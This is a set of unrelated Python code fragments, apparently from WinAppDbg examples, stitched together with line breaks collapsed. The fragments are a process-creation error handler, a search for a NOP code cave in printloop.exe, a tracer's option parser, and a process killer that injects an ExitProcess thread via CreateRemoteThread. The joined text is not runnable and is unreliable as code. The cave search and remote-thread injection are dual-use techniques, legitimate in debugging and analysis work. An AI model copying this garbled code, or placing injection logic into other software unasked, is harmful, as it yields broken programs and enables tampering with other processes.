"InitializeProcThreadAttributeList" in str(e): print("This tool requires Windows Vista or above.") else: print("Error starting new process: %s" % str(e)) return except WindowsError as e: print("Error starting new process: %s" % str(e)) return print("Process created: %d" % dwProcessId) return dwProcessId
# Now we can enumerate the threads in the process... print "Threads:" for thread in process.iter_threads(): print "\t%d" % thread.get_tid() # ...and the modules in the process. print "Modules:" bits = process.get_bits() for module in process.iter_modules(): print "\t%s\t%s" % ( HexDump.address( module.get_base(), bits ), module.get_filename() ) system = System() procs = system.find_processes_by_filename("printloop.exe") p = None if len(procs) != 0: p = procs[0][0] else: sys.exit(0) p.suspend() #print_threads_and_modules(p.get_pid()) module_address = p.get_module_by_name("printloop.exe").get_base() addrs = p.search_bytes("\x90"*10, minAddr=module_address, maxAddr=module_address+0x100000) cave_addr = 0 for addr in addrs: cave_addr = addr print "Cave address:",hex(cave_addr)
def parse_cmdline(argv): # Help message and version string version = ("Process execution tracer\n" "by Mario Vilas (mvilas at gmail.com)\n" "%s\n") % winappdbg.version usage = ( "\n" "\n" " Create a new process (parameters for the target must be escaped):\n" " %prog [options] -c <executable> [parameters for the target]\n" " %prog [options] -w <executable> [parameters for the target]\n" "\n" " Attach to a running process (by filename):\n" " %prog [options] -a <executable>\n" "\n" " Attach to a running process (by ID):\n" " %prog [options] -a <process id>") ## formatter = optparse.IndentedHelpFormatter() ## formatter = optparse.TitledHelpFormatter() parser = optparse.OptionParser( usage=usage, version=version, ## formatter=formatter, ) # Commands commands = optparse.OptionGroup(parser, "Commands") commands.add_option("-a", "--attach", action="append", type="string", metavar="PROCESS", help="Attach to a running process") commands.add_option("-w", "--windowed", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new windowed process") commands.add_option("-c", "--console", action="callback", type="string", metavar="CMDLINE", callback=callback_execute_target, help="Create a new console process [default]") parser.add_option_group(commands) # Tracing options tracing = optparse.OptionGroup(parser, "Tracing options") tracing.add_option("--trace", action="store_const", const="trace", dest="mode", help="Set the single step mode [default]") if System.arch == win32.ARCH_I386: tracing.add_option( "--branch", action="store_const", const="branch", dest="mode", help= "Set the step-on-branch mode (doesn't work on virtual machines)") tracing.add_option("--syscall", action="store_const", const="syscall", dest="mode", help="Set the syscall trap mode") ## tracing.add_options("--module", action="append", metavar="MODULES", ## dest="modules", ## help="only trace into these modules (comma-separated)") ## debugging.add_option("--from-start", action="store_true", ## help="start tracing when the process is created [default]") ## debugging.add_option("--from-entry", action="store_true", ## help="start tracing when the entry point is reached") parser.add_option_group(tracing) # Debugging options debugging = optparse.OptionGroup(parser, "Debugging options") debugging.add_option( "--autodetach", action="store_true", help="automatically detach from debugees on exit [default]") debugging.add_option( "--follow", action="store_true", help="automatically attach to child processes [default]") debugging.add_option("--trusted", action="store_false", dest="hostile", help="treat debugees as trusted code [default]") debugging.add_option( "--dont-autodetach", action="store_false", dest="autodetach", help="don't automatically detach from debugees on exit") debugging.add_option("--dont-follow", action="store_false", dest="follow", help="don't automatically attach to child processes") debugging.add_option("--hostile", action="store_true", help="treat debugees as hostile code") parser.add_option_group(debugging) # Defaults parser.set_defaults( autodetach=True, follow=True, hostile=False, windowed=list(), console=list(), attach=list(), ## modules = list(), mode="trace", ) # Parse and validate the command line options if len(argv) == 1: argv = argv + ['--help'] (options, args) = parser.parse_args(argv) args = args[1:] if not options.windowed and not options.console and not options.attach: if not args: parser.error("missing target application(s)") options.console = [args] else: if args: parser.error("don't know what to do with extra parameters: %s" % args) # Get the list of attach targets system = System() system.request_debug_privileges() system.scan_processes() attach_targets = list() for token in options.attach: try: dwProcessId = HexInput.integer(token) except ValueError: dwProcessId = None if dwProcessId is not None: if not system.has_process(dwProcessId): parser.error("can't find process %d" % dwProcessId) try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError as e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(dwProcessId) else: matched = system.find_processes_by_filename(token) if not matched: parser.error("can't find process %s" % token) for process, name in matched: dwProcessId = process.get_pid() try: process = Process(dwProcessId) process.open_handle() process.close_handle() except WindowsError as e: parser.error("can't open process %d: %s" % (dwProcessId, e)) attach_targets.append(process.get_pid()) options.attach = attach_targets # Get the list of console programs to execute console_targets = list() for vector in options.console: if not vector: parser.error("bad use of --console") filename = vector[0] if not ntpath.exists(filename): try: filename = win32.SearchPath(None, filename, '.exe')[0] except WindowsError as e: parser.error("error searching for %s: %s" % (filename, str(e))) vector[0] = filename console_targets.append(vector) options.console = console_targets # Get the list of windowed programs to execute windowed_targets = list() for vector in options.windowed: if not vector: parser.error("bad use of --windowed") filename = vector[0] if not ntpath.exists(filename): try: filename = win32.SearchPath(None, filename, '.exe')[0] except WindowsError as e: parser.error("error searching for %s: %s" % (filename, str(e))) vector[0] = filename windowed_targets.append(vector) options.windowed = windowed_targets # If no targets were set at all, show an error message if not options.attach and not options.console and not options.windowed: parser.error("no targets found!") return options
def main(argv): script = os.path.basename(argv[0]) params = argv[1:] print("Process killer") print("by Mario Vilas (mvilas at gmail.com)") print if len(params) == 0 or '-h' in params or '--help' in params or \ '/?' in params: print("Usage:") print(" %s <process ID or name> [process ID or name...]" % script) print print( "If a process name is given instead of an ID all matching processes are killed." ) exit() # Scan for active processes. # This is needed both to translate names to IDs, and to validate the user-supplied IDs. s = System() s.request_debug_privileges() s.scan_processes() # Parse the command line. # Each ID is validated against the list of active processes. # Each name is translated to an ID. # On error, the program stops before killing any process at all. targets = set() for token in params: try: pid = HexInput.integer(token) except ValueError: pid = None if pid is None: matched = s.find_processes_by_filename(token) if not matched: print("Error: process not found: %s" % token) exit() for (process, name) in matched: targets.add(process.get_pid()) else: if not s.has_process(pid): print("Error: process not found: 0x%x (%d)" % (pid, pid)) exit() targets.add(pid) targets = list(targets) targets.sort() count = 0 # Try to terminate the processes using the TerminateProcess() API. next_targets = list() for pid in targets: next_targets.append(pid) try: # Note we don't really need to call open_handle and close_handle, # but it's good to know exactly which API call it was that failed. process = Process(pid) process.open_handle() try: process.kill(-1) next_targets.pop() count += 1 print("Terminated process %d" % pid) try: process.close_handle() except WindowsError as e: print("Warning: call to CloseHandle() failed: %s" % str(e)) except WindowsError as e: print("Warning: call to TerminateProcess() failed: %s" % str(e)) except WindowsError as e: print("Warning: call to OpenProcess() failed: %s" % str(e)) targets = next_targets # Try to terminate processes by injecting a call to ExitProcess(). next_targets = list() for pid in targets: next_targets.append(pid) try: process = Process(pid) process.scan_modules() try: module = process.get_module_by_name('kernel32') pExitProcess = module.resolve('ExitProcess') try: process.start_thread(pExitProcess, -1) next_targets.pop() count += 1 print("Forced process %d exit" % pid) except WindowsError as e: print( "Warning: call to CreateRemoteThread() failed %d: %s" % (pid, str(e))) except WindowsError as e: print( "Warning: resolving address of ExitProcess() failed %d: %s" % (pid, str(e))) except WindowsError as e: print("Warning: scanning for loaded modules failed %d: %s" % (pid, str(e))) targets = next_targets # Attach to every process. # print(a message on error, but don't stop.) next_targets = list() for pid in targets: try: win32.DebugActiveProcess(pid) count += 1 print("Attached to process %d" % pid) except WindowsError as e: next_targets.append(pid) print("Warning: error attaching to %d: %s" % (pid, str(e))) targets = next_targets # Try to call the DebugSetProcessKillOnExit() API. # # Since it's defined only for Windows XP and above, # on earlier versions we just ignore the error, # since the default behavior on those platforms is # already what we wanted. # # This must be done after attaching to at least one process. # # http://msdn.microsoft.com/en-us/library/ms679307(VS.85).aspx try: win32.DebugSetProcessKillOnExit(True) except AttributeError: pass except WindowsError as e: print("Warning: call to DebugSetProcessKillOnExit() failed: %s" % str(e)) if count == 0: print("Failed! No process was killed.") elif count == 1: print("Successfully killed 1 process.") else: print("Successfully killed %d processes." % count) # Exit the current thread. # This will kill all the processes we have attached to. exit()